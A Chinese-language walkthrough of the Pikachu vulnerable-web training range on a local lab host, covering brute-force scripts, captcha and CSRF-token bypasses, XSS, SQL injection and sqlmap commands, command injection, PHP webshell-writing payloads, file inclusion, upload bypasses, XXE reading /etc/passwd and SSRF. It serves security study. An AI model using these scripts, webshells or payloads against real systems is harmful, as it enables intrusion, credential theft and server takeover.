赞
踩
账号:admin 密码:123456
爆破代码
- #coding:utf-8
- import requests
- import re
-
- url = 'http://192.168.116.136/06/vul/burteforce/bf_form.php'
-
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_form.php',
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Accept-Language': 'zh-CN,zh;q=0.9',
- 'Cookie': 'PHPSESSID=7po011mb0qppb88ivi9m31gjs2',
- }
-
- def login(password):
- payload = {
- 'username': 'admin',
- 'password': password,
- 'submit': 'Login'
- }
- response = requests.post(url, data=payload, headers=headers)
- return response.text
-
- #读取爆破需要用到的字典
- with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
- passlist = p.readlines()
- p.close()
-
- for line in passlist:
- line = line.strip("\n")
- print(line)
- if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
- print( "[* 密码 is %s *]" % line )
- break
绕过的思路就是观察产生的验证码有没有过期设置(即用过一次就会刷新),如果没有默认的session就是24min刷新:
我们查看一下源码,验证码在服务器端被验证,并且验证码不会过期,就算页面刷新验证码刷新,抓包里的验证码不变也可以
抓包看看
发现同一请求包,请求多少次验证码都是一样的
拿我们直接爆破好了
- import requests
-
- url = 'http://192.168.116.136/06/vul/burteforce/bf_server.php'
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Origin': 'http://192.168.116.136',
- 'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_server.php',
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Accept-Language': 'zh-CN,zh;q=0.9',
- 'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
- }
-
-
- def login(password):
- payload = {
- 'username': 'admin',
- 'password': password,
- 'vcode': 'lv1fun',
- 'submit': 'Login'
- }
- response = requests.post(url, data=payload, headers=headers)
- return response.text
-
- #读取爆破需要用到的字典
- with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
- passlist = p.readlines()
- p.close()
-
- for line in passlist:
- line = line.strip("\n")
- print(line)
- if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
- print( "[* 密码 is %s *]" % line )
- break
检测验证码的验证方式
发现它就是在前端验证的
我们抓包看一下
发现这个时候验证码验证已经不起作用了(绕过了前端验证)
直接爆破
- import requests
-
- url = 'http://192.168.116.136/06/vul/burteforce/bf_client.php'
- payload = {'username': 'admin', 'password': '111111', 'vcode': '2', 'submit': 'Login'}
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_client.php',
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Accept-Language': 'zh-CN,zh;q=0.9',
- 'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
- }
-
-
- def login(password):
- payload = {
- 'username': 'admin',
- 'password': password,
- 'vcode': '不用写',
- 'submit': 'Login'
- }
- response = requests.post(url, data=payload, headers=headers)
- return response.text
-
- #读取爆破需要用到的字典
- with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
- passlist = p.readlines()
- p.close()
-
- for line in passlist:
- line = line.strip("\n")
- print(line)
- if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
- print( "[* 密码 is %s *]" % line )
- break
这题挺经典了,就是先get请求获得token,post请求发送
直接上脚本
- import requests
- import re
-
- url = 'http://192.168.116.136/06/vul/burteforce/bf_token.php'
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'Origin': 'http://192.168.116.136',
- 'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_token.php',
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Accept-Language': 'zh-CN,zh;q=0.9',
- 'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
- }
-
- def get_token():
- response = requests.get(url, headers=headers)
- token_pattern = r'<input type="hidden" name="token" value="(.+?)" />'
- token_match = re.search(token_pattern, response.text)
- token_value = token_match.group(1)
- return token_value
-
-
- def login(password, token):
- payload = {
- 'username': 'admin',
- 'password': password,
- 'token': token,
- 'submit': 'Login'
- }
- response = requests.post(url, data=payload, headers=headers)
- return response.text
-
- #读取爆破需要用到的字典
- with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
- passlist = p.readlines()
- p.close()
-
- for line in passlist:
- line = line.strip("\n")
- token = get_token()
- print(line)
- if 'username or password is not exists' not in login(line, token):#判断是否爆破成功,如果成功直接停止
- print( "[* 密码 is %s *]" % line )
- break
这种爆破方式在限定登录次数面前一点用没有,除非给机会吧
把前端的长度限制改了就能输入了
居然要登录以后再打,我傻傻的对着登录框一顿打
这是漏洞点啊,输入的东西在下面又显示了出来
登录进去按上面的方法注入就行了
没什么好说的,主要是要理解这个的原理
这题输入javascript:alert("1")发现没办法执行,但确实写进去了
查看源代码,发现加了' '。所以主要思路就是加个'闭合
这题把xss语句传给后台了
注入后登录后台就能看到了
这题把script放进黑名单了(应该是),大小写绕过就好
htmlspecialchars
是一种常用的 PHP 函数,用于将特殊字符转换为 HTML 实体,以防止 XSS 攻击和其他安全漏洞。
这个函数将特殊字符转换为等效的 HTML 实体,包括将 <
转换为 <
、将 >
转换为 >
、将 "
转换为 "
等。这样做可以确保用户输入的内容不会被浏览器解释为 HTML 或 JavaScript 代码,从而防止 XSS 攻击。下面这个输入就被转义了
那我们不用'就好了
直接输入就好啦,不知道考什么
</script><script>alert('1')</script>
闭合就完事了
这题的目的就是让我们理解csrf的原理,大概是用户在浏览器中登录后留下cookie,我们利用这个cookie创建修改用户信息的url链接,再诱导用户在浏览器打开这个链接。这个和xss的区别在于,xss是窃取用户cookie,csrf是利用(天时地利人和缺一不可)
我们登录进去,点击修改给人信息
抓包
发现是通过get请求改的,那我们构造一个get请求的链接就好了
链接太明显可以生成短链接
这个因为是POST请求,所以有点麻烦
这里参考@仙女象小姐的代码
- <html>
- <script>
- window.onload = function() {
- document.getElementById("submit").click();
- }
- </script>
- <body>
- <form action="http://192.168.116.136/06/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
- <input type="hidden" name="sex" value="00" />
- <input type="hidden" name="phonenum" value="00" />
- <input type="hidden" name="add" value="00" />
- <input type="hidden" name="email" value="00" />
- <input type="hidden" name="submit" value="submit" />
- <input id="submit" type="submit" value="Submit request" style="display:none"/>
- </form>
- </body>
- </html>
总而言之,言而总之就是生成一个隐蔽的表单在自己的服务器中,让受害者点
我宣布!这题不写啦!
有token我们怎么诱导人家点啊,点了也没用啊,网上的教程让抓包改token什么的,啊?有意义吗写个脚本随便抓但是有用?
这题告诉我们,要防CSRF?加个token吧
常规的我就只写最后结果了哈!
1 union select 1,group_concat(username,password) from users#
vince' union select 1,group_concat(username,password) from users#
vince' union select 1,2,group_concat(username,password) from users#
我是笨蛋没看出来是 ) 闭合
然后我直接上sqlmap扫了
哦,看了Payload笨蛋终于发现了
vince') union select 2,group_concat(username,password) from users#
太复杂啦,不想一个一个试怎么办!sqlmap一下
原理还是要说的,报错注入
所以第一第三个参数随便写,第二参数写注入的语句,会返回报错信息的
1'or updatexml(1,concat(0x7e,database()),0)#
呐
脚本小子来喏~
sqlmap注入六连:
1. sqlmap -u "http://www.xx.com?id=x" 【查询是否存在注入点2. --dbs 【检测站点包含哪些数据库
3. --current-db 【获取当前的数据库名
4. --tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称
5. --columns -T "table_name" -D "db_name" 【获取数据库表中的字段
6. --dump -C "columns_name" -T "table_name" -D "db_name" 【获取字段的数据内容
这题sqlmap大人倒下了
一样的报错注入,不过是get请求哦
58 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)
这题返回header的信息,我们试一下Accept
158' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)and '
为什么加了个and ' 就不报错啊
我不理解,有没有大佬帮忙解释一下
直接用sqlmap,以前的文章里分别有用脚本和burpsuite爆破的方法,有兴趣可以看看
这题无论输入的用户名对不对回显都是i don't care who you are!
参数正确和错误都返回一样的结果,就不能用布尔盲注了,用时间盲注。
时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。
在盲注方面sqlmap真的无敌呀
有点慢,就不等了
宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。(当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。)
所以注入语句
--tamper="unmagicquotes.py" --batch --level 5 --dump -C "username,password" -T "users" -D "pikachu"
应该是靶场问题,说是宽字节注入,但最后的payload是盲注
我还是说一下宽字节注入的话是怎么做的,我看别人嘟~
就是在转义字符前面加个%df(在php编码里面是and的意思)然后,gdk编码的mysql刚好不会给双字符的符号转义(它觉得是中文),然后%df就掩护着后面的 ' 单引号绕过了
别人家的代码:
lili%df' or 1=1--
谢谢这篇文章给我的帮助:pikachu SQL注入 (皮卡丘漏洞平台通关系列)_pikachu\vul\sqli/sqli_del.php-CSDN博客
我们来看看源码
shell_exec直接执行了我们的输入
那我们输入 -127.0.0.1|whoami 直接返回用户名
我们可以更深入的搞搞,查看根目录下的文件
源码分析:这个就更炸裂了
输入phpinfo();验证了漏洞
然后我们输入以下payload,在服务器内生成木马后门
fputs(fopen('shell.php','w'),'<?php phpinfo(); @assert($_POST['cmd']);?>');
fputs(fopen('shell.php','w'),'<?php assert($_POST['cmd']);?>');
然后拿蚁剑连就ok了
我们借助burpsuite上自带的扫描器,发现了这个路径
这只是证明有这个漏洞,要加以利用的话可以结合文件上传漏洞来返回shell
这道题照样可以用绝对路径来渗透,这里主要展示远程文件包含
我没有实现成功大家可以看看她的pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)-CSDN博客
利用远程代码执行shell.txt内的代码(把shell.txt放入网站通过apache服务器上传)
代码如下:
<?php fputs(fopen('shell.php', 'w'), '<?php phpinfo(); @assert($_POST['cmd']);?>');?>
然后就会生成木马后门在http://192.168.116.136/06/vul/fileinclude/shell.php该路径下
再用蚁剑连接
文件下载漏洞原理:
这题的代码如下:
点击名字后,下载filename为地址的文件,但是这题不能用绝对路径,因为filename的路径是接在download前面的。
开扫描器,找到这个地址,直接下载就好
这题是个前端检测,检查文件后缀名
我们先上传图片马绕过前端验证,然后抓包把后缀名从jpg改为php,就上传成功了。
蚁剑连一下
这题用上题的方法是适用的,但这题考察的不是这个。
MIME 类型不仅用于电子邮件,还用于 HTTP 协议中的 Content-Type 头部,指示客户端如何处理服务器返回的数据。比如,
Content-Type: image/jpeg
表示返回的数据是 JPEG 格式的图像。
我们按他的思路,上传php文件
然后把Content-Type:改为image/jpeg
为什么assert函数用不了呢?有没有大佬解释一下
这题要靠其他漏洞来利用
上传一个图片马,图片马合成命令: copy /b 1.png + 1.php 2.png,我们再把图片马上传
路径为:http://192.168.116.136/06/vul/unsafeupload/uploads/2024/04/15/934880661d3f6726695795860466.jpg
利用文件包含漏洞访问图片马
http://192.168.116.136/06/vul/fileinclude/fi_local.php?filename=../../../vul/unsafeupload/uploads/2024/04/15/934880661d3f6726695795860466.jpg&submit=%E6%8F%90%E4%BA%A4
访问成功
这题的漏洞在于,点击查看个人信息后,查询通过获取url上的username来查询。而这个username可以被修改为其他用户,导致其他用户的消息泄露。
源码分析:
防御:
添加session验证,session中的用户名和查询的username是否一致
- if($_SESSION['op']['username']==$_GET['username']){
- $username=escape($link,$_GET['username']);
- }
这题的问题在于,添加用户功能
以下是删除功能的代码,可以看到,这里验证了是否用户有登录,和用户级别是多少
而添加功能只验证了是否用户有登录
这就导致了,普通用户也可以无视等级要求去添加用户
过程:
普通用户登录 ---> 访问添加用户的url http://192.168.116.136/06/vul/overpermission/op2/op2_admin_edit.php --> 添加用户
朴实无华
修改后的用户要在admin用户权限下才能看到
防御:
把删除功能的判断放上去
原理和文件包含差不多,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样。
在PHP中,有两种包含外部文件的方式,分别是include和require。他们之间有什么不同呢?
如果文件不存在或发生了错误,require产生E_COMPILE_ERROR级别的错误,程序停止运行。而include只产生警告,脚本会继续执行。这就是它们最主要的区别,其他方面require基本等同于include。
十一、敏感信息泄露
源码分析:
- 如果反序列化成功,即
$unser
不为假值(false/null),则输出$unser
对象中的test
属性的值。- 如果反序列化失败(例如,
$s
不是有效的序列化字符串),则输出一条提示消息:"大兄弟,来点劲爆点儿的!"
按照这个代码,我们生成序列化字符串
- <?php
-
- class s{
- public $test;
- }
-
- $ganyu = new s();
- $ganyu->test = "<script>alert('xss')</script>";
-
- // 序列化对象
- $serialized_data = serialize($ganyu);
-
- // 将序列化后的字符串进行 HTML 实体编码
- $encoded_data = htmlentities($serialized_data);
-
- // 输出编码后的内容
- echo $encoded_data;
- ?>
O:1:"s":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}复制过去输入就行
xml基础学习:
- Liux下的系统:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
- <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
- <foo>&xxe;</foo>
-
- windows下的系统:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
- <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
- <foo>&xxe;</foo>
- <?xml version="1.0"?>
- <!DOCTYPE foo [
- <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/www/html/06/vul/xxe/xxe.php" > ]>
- <foo>&xxe;</foo>
可以放进burpsuite爆破
- <?xml version="1.0"?>
- <!DOCTYPE foo [
- <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
- <foo>&xxe;</foo>
-
-
- <?xml version="1.0"?>
- <!DOCTYPE foo [
- <!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
- <foo>&xxe;</foo>
-
- 按照两个端口访问速度来判断
后面两个我没搞出来,以后有机会再试
参考:
pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)-CSDN博客
Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等
https:
file:
dict协议扫描内网主机开放端口
file_get_contents()
是 PHP 中用于读取文件内容的函数之一。它可以读取一个文件的内容并将其作为字符串返回。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。